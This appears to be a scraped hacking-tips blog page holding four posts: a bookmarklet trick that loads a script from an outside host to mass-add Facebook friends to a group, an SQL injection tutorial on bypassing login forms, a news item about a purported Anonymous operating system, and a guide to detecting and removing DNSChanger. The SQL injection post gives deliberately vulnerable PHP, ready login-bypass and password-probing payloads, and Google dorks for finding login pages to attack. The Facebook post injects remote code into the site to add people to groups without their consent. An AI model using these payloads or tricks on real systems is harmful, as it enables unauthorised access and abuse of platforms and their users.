Add all your facebook friends to a group in one click.

Now you can add all your facebook friends to a group by
preparing a script using following method.All it needs is group id & a web hosting site which u registered in.

Step1:Find group id.

'10736816604104' this is the group id in above link.If the group id is not in numerical form open group,right click on report group & open link in new tab. 

 

Here u can see the group id which is equal to cid '10736816604104' which is numerical.

This group id number will be used in script.

Step 2: Download sample script & edit.

http://www.ziddu.com/download/18202212/NewTextDocument.txt.html

download the script,open in notepad & find the value '10736816604104' and replace it with the group id which u want to add & save the file.

step 3: Upload file in a web hosting site.

Use any web hosting site to upload script & execute.I use http://www.my3gb.com/ after upload a link is created for the file.
 

Example: http://hnk007.my3gb.com/file1.txt

step 4: Use script.

the created link should place in the following script at src='http://techtipsandtricks.my3gb.com/file1.txt'.

javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://hnk007.my3gb.com/file1.txt';})();

now copy above script,open group and enter in address bar(Only mozilla firefox browser) and all your friends will be added & shows number of frnds added to group.

In other browsers including firefox create new bookmark with script in location.After creating bookmark open the group & click the bookmark which has the script of that group.Wait few seconds This will start adding your friends in that Group.

Read More

SQL injection bypass the login form

In this tutorial I will be explaining What is SQL(Its structure), what is SQL injection? how to perform the attack? and how to make your website safe from such kinds of attacks. Before you read any article on sql injection I recommend you to read this first. In this tutorial I will be using MySQL and PHP. I have chosen PHP since it is most widely used language and and in most of the cases MySQL is used as database with PHP. PHP is a web scripting language like ASP, JSP, CGI....You need not learn this attack in every language, the concept of attack remains same for all the languages.

Basics of SQL:

The structure of SQL is divided into:

SQL server-> Databases->Tables-> Columns and Rows.

Sql server: is an application which runs on server side of the application and serves the request as per the command given in client side.

Database: This is a kind of container where particular applications related tables are kept.

Tables: It stores the data in the form of rows and columns.

SQL Injection: Introduction

It is the most widely used technique of hacking since most of the websites today maintain database. SQL Injection is a code(sql) injection technique because of the improper filtration of users input. Lets see a basic injection attack:


Bypassing the login form:
Lets consider a login form login.php

if (isset($_POST['submit']))
{
$username=$_POST['username'];
$password=$_POST['pass']

$check=mysql_query("SELECT * FROM member WHERE username = ' $username' and password=$password");
$check2 = mysql_num_rows($check);

if ($check2 == 0)
     echo "login failed";
else
header("location: members.php);
}
else
{

<form action="login.php" method="post" name="login"> 

<h1>USERLOGIN</h1><br/>

Username:<input type="text" name="username"> 

<br/><br/>

Password:
<input type="password" name="pass"> <input type="submit" name="submit" value="Login"> </form> 


This is not the exact login form just to give you a feel how exactly login form works i have written this code. Just focus on the dark shaded portions of the code, as you can see the login details is sent via "post" method as soon as the submit button is clicked, after clicking the submit button the PHP code will run as "isset" condition is true. Now lets see what happens in the background, the select function tries to fetch the details from the "member" table by comparing the username and password sent from to the username and password inside the member table. Clearly the code which I have written is vulnerable, lets see how?
Consider a situation I have given input something like below:
Username: ' or 'a'='a'
Password: ' or 'a'='a'
Now lets see what happens in the background i.e. in select staement:
select * from member where username=' ' or 'a'='a' and password=' ' or 'a'='a'
Now if you see carefully the two shaded portions, they both results "true". That means our username and password is accepted.
Some other username and password combination which can come handy for SQL injection:


Username: ' or 'a'=a');--
Password: anything



Username: ' or 'a'=a';--
Password: anything

select * from member where username=' ' or 'a'='a');-- and password=' ' or '1'='1'
the command after "--" will act as comment.


Bypassing admin login form. In most of the cases the cases the username for administrator field is "admin" which can be useful when we are injecting code. Lets see:
Username: admin;--
Password: anything



Username: admin);--
Password: anything


Now consider a situation where you know the username and few letters of password, in such cases you can try the following:

Username:' OR EXISTS(SELECT * FROM users WHERE username='admin' AND password LIKE '%a%') AND ''='

password:' OR EXISTS(SELECT * FROM users WHERE username='admin' AND password LIKE '%a%') AND ''='


We can use google dorks to find login page:

Example type: inurl:login or inurl:login.php or inurl:adminlogin or intitle:login in Google search box.

Note: It is not necessary that these combinations will always work. It will depend on the way the script engine is programmed.

Read More

Anonymous operating system

More than 26,000 people have downloaded an operating system which members of the Anonymous hacker group claim to have created.

The software is based on a version of the open-source operating system Linux and comes outfitted with lots of website sniffing and security tools.

The "official" Anonymous group has distanced itself from the software.

In a widely circulated tweet, Anon-ops claimed the operating system was riddled with viruses.

Tool box

The operating system is available via the Source Forge website - a well-known repository for many custom code projects.

The 1.5GB download is based on Ubuntu - one of the most popular versions of the Linux operating system. The software's creators say they put it together for "education purposes to checking the security of web pages (sic)".

It asked people not to use it to destroy webpages.

Soon after the operating system became available, the Anon-ops account on Twitter posted a message saying it was fake and "wrapped in Trojans".

The creators of the OS denied it was infected with viruses adding that, in the world of open-source software, "there were no viruses".

Code check

After downloading and running the software, Rik Ferguson, director of Trend Micro's European security research efforts, said it was "a functional OS with a bunch of pre-installed tools that can be used for things like looking for [database] vulnerabilities or password cracking".

It also included tools such as Tor that can mask a person's online activities. In many ways, he said, it was a pale imitation of a version of Linux known as Back Track that also comes with many security tools already installed.

Mr Ferguson said he was starting work to find out if there were any viruses or booby-traps buried in the code.

Graham Cluley, senior researcher at hi-tech security firm Sophos, wondered who would be tempted to use it.

"Who would want to put their trust in a piece of unknown software written by unknown people on a webpage that they don't know is safe or not?" he asked.

He warned people to be very wary, adding that some hacktivists keen to support the work of Anonymous had been tricked earlier in the year into installing a booby-trapped attack tool.

"Folks would be wise to be very cautious," he said.

Read More

How To Protect Yourself From DNSChanger

In July the Internet Systems Consortium will permanently shut down DNS servers deployed to serve as temporary surrogates for rogue DNS servers shut down as part of Operation Ghost Click, an FBI operation that brought down an Estonian hacker ring last year. If your PC is one of the more than 1 million computers infected that carry DNSChanger you might unknowingly be relying on one of the FBI's temporary servers to access the Internet, and if you don't eliminate DNSChanger from your PC before the FBI pulls the plug on its servers, you'll be left without Internet access. Read on to learn how to discover whether you're infected with DNSChanger, and what you can do to eliminate it from your system.

How to Tell Whether DNSChanger Has Infected Your PC

To figure out whether you've been infected with DNSChanger, just point your Web browser to one of the (admittedly amateur-looking) DNSChanger Check-Up websites that Internet security organizations maintain across the globe. The link above will take you to a DNS Changer Check-Up page in the United States that the DNS Changer Working Group maintains; if you live outside the United States, you can consult the FBI's list of DNSChanger Check-Up websites to find an appropriate service for your region.

Unfortunately, if your router is infected, those websites will think that your PC is infected, even though it may be clean; worse, if your ISP redirects DNS traffic, your PC may appear to be clean even though your DNS settings may have been maliciously altered. If you want to be certain that your PC is free of DNSChanger malware, you need to manually look up the IP addresses of the DNS servers that your PC contacts to resolve domain names when browsing the Web.

To look up which DNS servers your Windows 7 PC is using, open your Start menu and either run the Command Prompt application or type cmd in the Search field. Once you have a command prompt open, type ipconfig /allcompartments /all at the command line and press Enter. A big block of text should appear; scroll through it until you see a line that says 'DNS Servers', and copy down the string(s) of numbers that follow (there may be more than one string here, meaning that your PC accesses more than one DNS server).

It's even easier for Mac OS X users to determine the IP addresses of the DNS servers that their PC uses. Open the Apple menu (usually located in the upper-left corner of the screen) and select System Preferences. Next, click the Network icon to open your Network Settings menu; navigate to Advanced Settings, and copy down the string(s) of numbers listed in the DNS Server box.

Once you know the IP addresses of the DNS servers that your PC is using, head over to the FBI DNSChanger website and enter those addresses into the search box. Press the big blue Check Your DNS button, and the FBI's software will tell you whether your PC is using rogue DNS servers to access the Internet.

What to Do If Your PC Is Infected by DNSChanger

If your PC is infected with DNSChanger, you'll have to do some intensive work to get rid of it. DNSChanger is a powerful rootkit that does more than just alter DNS settings; if you've been infected with DNSChanger, your safest course is to back up your important data, reformat your hard drive(s), and reinstall your operating system.

If you're leery of reformatting your entire PC, you can try rooting out the DNSChanger rootkit with a free rootkit removal utility such as Kaspersky Labs' TDSSKiller. As the name implies, Kaspersky released the program to help PC owners seek and destroy the TDSS rootkit malware, but it also detects and attempts to eliminate DNSChanger and many other forms of rootkits.

If the infected PC is on a network, you'll have to check every other PC on the network for signs of infection, and then check your router's settings to ensure that it isn't affected (DNSChanger is programmed to change router DNS settings automatically, using the default usernames and passwords of most modern routers). To do this, copy down your router's DNS server IP addresses (located in your router's settings menu) and check them against the FBI's IP address database mentioned above. If your router is infected, reset the router and confirm that all network settings are restored to the manufacturer's defaults.

When you're done, repeat the steps outlined above to verify that your PC is no longer infected with DNSChanger. With all traces of this vicious malware eliminated, you should have nothing to fear when the FBI shuts down the ISC's temporary DNS servers in July.

Read More